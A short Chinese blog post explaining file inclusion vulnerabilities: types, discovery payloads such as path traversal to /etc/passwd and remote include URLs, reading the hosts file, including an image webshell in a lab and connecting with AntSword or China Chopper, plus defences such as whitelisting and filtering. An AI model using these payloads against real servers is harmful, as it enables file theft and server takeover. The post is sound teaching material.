文件包含漏洞

文件包含漏洞(一个文件包含另一个文件并将另一个文件解析执行)
定义:是指服务器利用URL去动态包含文件,如果文件中存在恶意代码,无论什么样的后缀类型,文件内的恶意代码都会被解析执行,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。
类型:
本地文件包含,当被包含的文件在服务器本地时,就形成本地文件包含
远程文件包含,当被包含的文件在第三方服务器时,叫做远程文件包含。

 

手动挖掘特征:
?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

 

漏洞利用:
1.读取敏感文件
条件
① 目标主机文件存在(目标文件的绝对路径和相对路径);
② 具有文件可读权限
提交参数?path=c:\windows\System32\drivers\etc\hosts读取本地host文件
?path=…\windows\System 32\drivers\etc\hosts x先返回到最上级目录即根目录er
2.直接包含图片木马
可以利用文件包含漏洞直接包含图片木马,直接包含图片木马127.0.0.1/upload-labs-master/upload//include.php?file=upload/1.jpg
然后使用蚁剑或者中国菜刀连接
3.包含木马写shell
可以将以下代码写入图片中

 

防范
1.在功能上尽量不要将文件包含函数对应的文件放给前面进行选择和操作
2.通过白名单策略,仅允许包含运行指定的文件,其他都禁止
3.设计严格的过滤
如:对所有输入提交可能包含的文件地址,包括服务器本地文件及远程文件,进行严格的检查,参数中不允许出现… /之类的目录跳转符。
可以通过调用str_replace()函数实现相关敏感字符的过滤,一定程度上防御了远程文件包含。

 

参考链接:
https://www.csdn.net/tags/NtzaQgzsOTc1MTgtYmxvZwO0O0OO0O0O.html
https://blog.csdn.net/qq_50673174/article/details/124760011
https://blog.csdn.net/m0_52556798/article/details/123795340

posted @ 2022-07-10 17:08  lzstar-A2  阅读(42)  评论(0编辑  收藏  举报